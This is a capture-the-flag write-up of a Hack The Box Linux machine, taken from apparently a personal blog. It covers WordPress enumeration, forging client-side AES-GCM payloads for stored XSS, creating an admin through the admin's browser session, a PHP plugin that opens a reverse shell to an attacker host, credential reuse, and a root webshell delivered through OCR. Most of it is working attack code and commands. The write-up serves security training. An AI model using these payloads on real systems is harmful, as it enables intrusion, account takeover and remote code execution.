Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

MakeSense

MakeSense is a hard-difficulty Linux box built around a WordPress 7.0 site running a bespoke webagency theme, an admin-review bot, and a root-owned OCR web service.

platform
Hack The Box
target_os
Linux (Ubuntu 24.04)
difficulty
Medium
season
Season 11
logged
August 4, 2026
exploit_vectors → WordPress enumerationClient-side crypto bypass → stored XSSAdmin-session abuse → www-dataCredential reuse → walter

Summary of Exploitation

MakeSense is a hard-difficulty Linux box built around a WordPress 7.0 site running a bespoke webagency theme, an admin-review bot, and a root-owned OCR web service. Starting from no credentials, the chain proceeds as follows:

  1. WordPress enumeration reveals a stock-patched WP 7.0 core but a custom webagency theme shipping a client-side voice-transcription feature with a hardcoded AES-GCM key and an applySymbolMapping() routine explicitly built “for XSS injection.”
  2. Client-side crypto bypass → stored XSS — because the encryption key and scheme are embedded in the theme’s JavaScript, an arbitrary <script> payload is encrypted offline and POSTed straight to the save_voice_results AJAX handler, bypassing the browser entirely. An admin bot renders the stored payload in wp-admin.
  3. Admin-session abuse → www-data — with DISALLOW_FILE_EDIT set, the XSS creates a new administrator via user-new.php; a malicious plugin upload then yields a shell as www-data.
  4. Credential reuse → walter — wp-config.php leaks the WordPress DB password, reused for the walter system account.
  5. OCR output-as-code → root — a root-run OCR service (php -S ... -t /root/ocr4/) writes recognized text to an attacker-chosen filename inside its own docroot. Rendering a PHP webshell as an image and saving it as .php produces root code execution.

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Version
22 open ssh OpenSSH 9.6p1 Ubuntu
80 filtered http (loopback-bound, not externally reachable)
443 open ssl/http Apache 2.4.58, WordPress 7.0, CN=makesense.htb
8001 filtered — (loopback-bound OCR service, seen post-foothold)

Key takeaways from recon:

  • The site is a WordPress 7.0 install on the vhost makesense.htb, theme “Agency LLC.”
  • Ports 80 and 8001 are filtered — firewalled loopback services that only become relevant after landing on the host.
  • The TLS certificate is self-signed (valid until 2126), so all tooling needs -k / --disable-tls-checks.

The vhost was added to /etc/hosts:

echo "<target-ip>  makesense.htb" | sudo tee -a /etc/hosts

Web Enumeration

WordPress was scanned over TLS:

wpscan --url https://makesense.htb --disable-tls-checks \
  --enumerate ap,at,u,cb,dbe --plugins-detection aggressive

Results:

Finding Detail
WP core 7.0 — latest, fully patched (not the entry point)
Theme webagency v1.0 — bespoke, placeholder example.com URIs
XML-RPC enabled
Uploads listing enabled (default 2026/ only)
admin REST profile /wp/v2/users/1 leaks "url":"http://localhost:8000"

The custom webagency theme is the central hint: it exposes a “voice call” feature backed by whisper-wrapper.js, and the homepage hands an unauthenticated AJAX nonce to any visitor:

var webagency_ajax = {"ajax_url":".../admin-ajax.php","nonce":"9a500926fd", ...};

REST namespaces were all core (wp/v2, wp-site-health/v1, wp-block-editor/v1, wp-abilities/v1) — no custom endpoint — so the theme’s client-side JavaScript is the attack surface, not a server-side handler.


Application Analysis

Two theme scripts define the flow — whisper-wrapper.js (the transcriber/crypto) and main.js (the AJAX submit wiring).

Notable findings:

Artifact Note
ENCRYPTION_KEY Hardcoded: bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI
encryptPayload() AES-256-GCM, key = SHA-256(KEY), 12-byte IV prepended, base64
applySymbolMapping() Commented “for XSS injection” — maps words → HTML symbols
save_voice_results action Server decrypts encrypted_payload and stores it against a post
Contact form path processTextSubmission sends raw text as transcription, unmapped

Transcription and summarization run client-side (Transformers.js). The server only decrypts and stores the result, which the admin later renders in wp-admin — a stored XSS sink whose ciphertext can be forged offline using the embedded key.


Exploitation Phase

Step 1 — Client-side crypto bypass → stored XSS

Because the key and scheme are known, the entire voice/transcription pipeline is bypassed. The contact form (submit_contact_form) returns a post_id; the forged encrypted_payload (raw <script> in both transcription and summary) is then stored against it via save_voice_results.

#!/usr/bin/env python3
import json, os, base64, hashlib, requests, urllib3, sys
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
urllib3.disable_warnings()

BASE, NONCE = "https://makesense.htb", "9a500926fd"
KEY = hashlib.sha256(b'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI').digest()
XSS = sys.argv[1] if len(sys.argv) > 1 else '<script src="http://<attacker-ip>:8000/x.js"></script>'

def enc(p):
    iv = os.urandom(12)
    return base64.b64encode(iv + AESGCM(KEY).encrypt(iv, json.dumps(p).encode(), None)).decode()

s = requests.Session(); s.verify = False
r = s.post(f"{BASE}/wp-admin/admin-ajax.php", data={
    "action":"submit_contact_form","nonce":NONCE,
    "name":"a","email":"a@b.c","phone":"1","message":"please review this submission now"})
pid = r.json()["data"]["post_id"]; print("[+] post_id:", pid)

s.post(f"{BASE}/wp-admin/admin-ajax.php", files={
    "action":(None,"save_voice_results"), "nonce":(None,NONCE),
    "post_id":(None,str(pid)), "encrypted_payload":(None, enc({"transcription":XSS,"summary":XSS}))})

Note on the nonce. 9a500926fd is printed in the public page source, so it validates for unauthenticated submissions — no session required.

A GET /x.js in the listener log confirms the admin bot executed the payload.

Step 2 — Admin-session abuse → new administrator

wp-admin cookies are HttpOnly, so the payload acts as the admin rather than stealing cookies. plugin-editor.php was disabled (DISALLOW_FILE_EDIT — no _wpnonce present, confirmed via a beacon), so x.js created a new administrator through user-new.php instead:

(async () => {
  const b = 'https://makesense.htb/wp-admin';
  const log = (t) => fetch('http://<attacker-ip>:8000/log?' + encodeURIComponent(t));
  const h = await (await fetch(b + '/user-new.php', { credentials: 'include' })).text();
  const n = h.match(/name="_wpnonce_create-user"\s+value="([a-f0-9]+)"/)?.[1];
  if (!n) { log('no_nonce'); return; }
  const body = new URLSearchParams([
    ['action','createuser'], ['_wpnonce_create-user', n],
    ['user_login','pwn'], ['email','pwn@makesense.htb'],
    ['pass1','Passw0rd!2026'], ['pass2','Passw0rd!2026'],
    ['role','administrator'], ['createuser','Add New User']
  ]);
  const r = await fetch(b + '/user-new.php', { method:'POST', credentials:'include', body });
  log('createuser_http:' + r.status);
})();

Gotcha: the create-user nonce field is _wpnonce_create-user (hyphenated). Build the POST body with the URLSearchParams array form, not object keys, or the field name breaks.

Beacon channel: /log?... requests 404 on the plain http.server but still appear in its request log — a simple exfil path back from the admin’s browser.

Step 3 — Malicious plugin upload → shell as www-data

Plugin upload is not governed by DISALLOW_FILE_EDIT, so logging in as the new admin (pwn:Passw0rd!2026) and uploading a single-file plugin gives code execution.

pwnplug/pwnplug.php:

<?php
/* Plugin Name: pwnplug */
$s=fsockopen("<attacker-ip>",9001);
proc_open("/bin/bash -i",array(0=>$s,1=>$s,2=>$s),$pipes);
zip -r pwnplug.zip pwnplug
# Plugins -> Add New -> Upload Plugin -> Install Now -> Activate
# with: rlwrap nc -lvnp 9001

Activation fired the reverse shell as www-data.

Step 4 — Credential reuse → walter

wp-config.php leaked the DB credentials, reused for the walter system account:

grep -E "DB_USER|DB_PASSWORD" /var/www/html/wp-config.php
# DB_USER     = walter
# DB_PASSWORD = JbhHDAEgXvri3!

su walter   # JbhHDAEgXvri3!

Gotcha: a creds.txt referencing root : ... and a :60764 “Remote Desktop” is the Exegol container’s own access info, not the target — a deliberate distraction. Ignore it.

User flag:

cat /home/walter/user.txt

Step 5 — OCR output-as-code → root

Process and socket enumeration located the loopback service behind the original filtered 8001:

ss -tlnp                              # 127.0.0.1:8001 listening
ps -eo user,pid,cmd | grep 8001
# root  php -S 127.0.0.1:8001 -t /root/ocr4/     <- runs as ROOT, docroot /root/ocr4/

The :8001 service (“OCR Protected” Basic auth; creds walter:JbhHDAEgXvri3!) is a canvas → tesseract OCR app running as root. It lets a user save the recognized text to a chosen filename under saved/.

Ruling out the wrong paths:

Attempted vector Result
filename path traversal basename()’d — ../../ and ....// both fail
MIME subtype → tesseract arg subtype validated; extension injection rejected pre-exec
filename command injection strips $ ( ) / ; " ', spaces→_ (a$(id)b→a__id_b)

The actual primitive is not injection but control of both content and destination: the OCR content (recognized text) becomes the file body, the filename (.php) becomes the destination, and that destination sits under a root-owned PHP docroot. A .php file of recognized PHP code is therefore executed by the root php -S server — no metacharacters required.

The only real difficulty is OCR fidelity: the rendered payload must transcribe back byte-for-byte. Render a crisp monospace image off-box (no image tooling on target):

PAY='<?php system($_GET[0]);'
convert -size 900x120 xc:white -gravity center -font DejaVu-Sans-Mono \
  -pointsize 40 -fill black -annotate 0 "$PAY" payload.png
tesseract payload.png stdout          # VERIFY exact byte-for-byte match first

Submit through the session-bound flow and execute:

B='-u walter:JbhHDAEgXvri3!'
PNG=$(base64 -w0 payload.png); rm -f cj
ID=$(curl -s $B -c cj -b cj 'http://127.0.0.1:8001/' \
      --data-urlencode "canvas_image=data:image/png;base64,$PNG" \
      | grep -oP 'name="ocr_id" value="\K[^"]*')
curl -s $B -c cj -b cj 'http://127.0.0.1:8001/' \
  --data-urlencode "ocr_id=$ID" --data-urlencode "filename=sh.php" --data 'save_output='
curl -s $B -c cj -b cj 'http://127.0.0.1:8001/saved/sh.php?0=id'
# uid=0(root) gid=0(root) groups=0(root)

Gotcha 1 — session binding. The ocr_id is stored server-side keyed to the PHP session. Recognizing and saving from separate curl calls without a shared cookie jar returns “Invalid OCR request.” Use -c cj -b cj so both requests share one PHPSESSID.

Gotcha 2 — OCR fidelity is the exploit. A stray space or a $→S misread yields un-parseable PHP and a blank 200. Confirm the recognized output-text equals the payload exactly before saving; iterate on font/point-size and keep the payload minimal to reduce tricky punctuation.

Root Flag Successfully Obtained

curl -s $B -c cj -b cj 'http://127.0.0.1:8001/saved/sh.php?0=cat%20/root/root.txt'

Key Takeaways

  • Hardcoded client-side crypto keys are game over. “Encryption” done in JavaScript with an embedded key is obfuscation; the payload can be forged offline and posted directly to the server sink.
  • DISALLOW_FILE_EDIT ≠ no RCE. Plugin upload remains a code-execution path for any administrator, independent of the file-editor flag.
  • Credential reuse bridges tiers. The WordPress DB password (wp-config.php) was reused for the walter system account, turning a web foothold into a shell.
  • The root bug is a design flaw, not an injection bug. Controlling both the content and the destination of a file written by a root process, where the destination is an executable docroot, is arbitrary code execution — the sanitizer defended against metacharacters but never against writing a .php of attacker-chosen content.
  • OCR as a code-delivery channel. Exploit reliability hinged on transcription accuracy, not on any OCR-engine vulnerability — a memorable twist worth remembering for similar “process-then-store” services.

Full Attack Chain

unauthenticated (WordPress 7.0)
   └─ hardcoded AES-GCM key  ──>  forge encrypted_payload  ──>  stored XSS
        └─ admin bot renders in wp-admin
             └─ DISALLOW_FILE_EDIT  ──>  create admin via user-new.php
                  └─ plugin upload + activate  ──>  shell as www-data
                       └─ wp-config.php reuse  ──>  walter                 [USER]
                            └─ root OCR service (php -S -t /root/ocr4/)
                                 └─ OCR content = PHP, filename = .php in docroot
                                      └─ GET /saved/sh.php  ──>  root       [ROOT]